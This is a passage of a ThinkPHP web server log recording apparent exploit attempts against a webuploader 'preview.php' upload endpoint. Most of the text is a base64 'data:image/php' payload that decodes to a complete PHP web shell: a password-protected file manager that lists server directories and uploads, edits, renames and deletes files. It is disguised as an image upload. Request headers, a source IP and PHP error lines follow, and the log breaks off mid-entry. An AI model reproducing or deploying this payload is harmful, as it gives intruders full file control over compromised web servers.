'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:25+08:00 ] 116.213.36.234 POST 51tianwei.com/public/static/libs/webuploader/0.1.15/server/preview.php [运行时间:0.002915s] [吞吐率:343.06req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 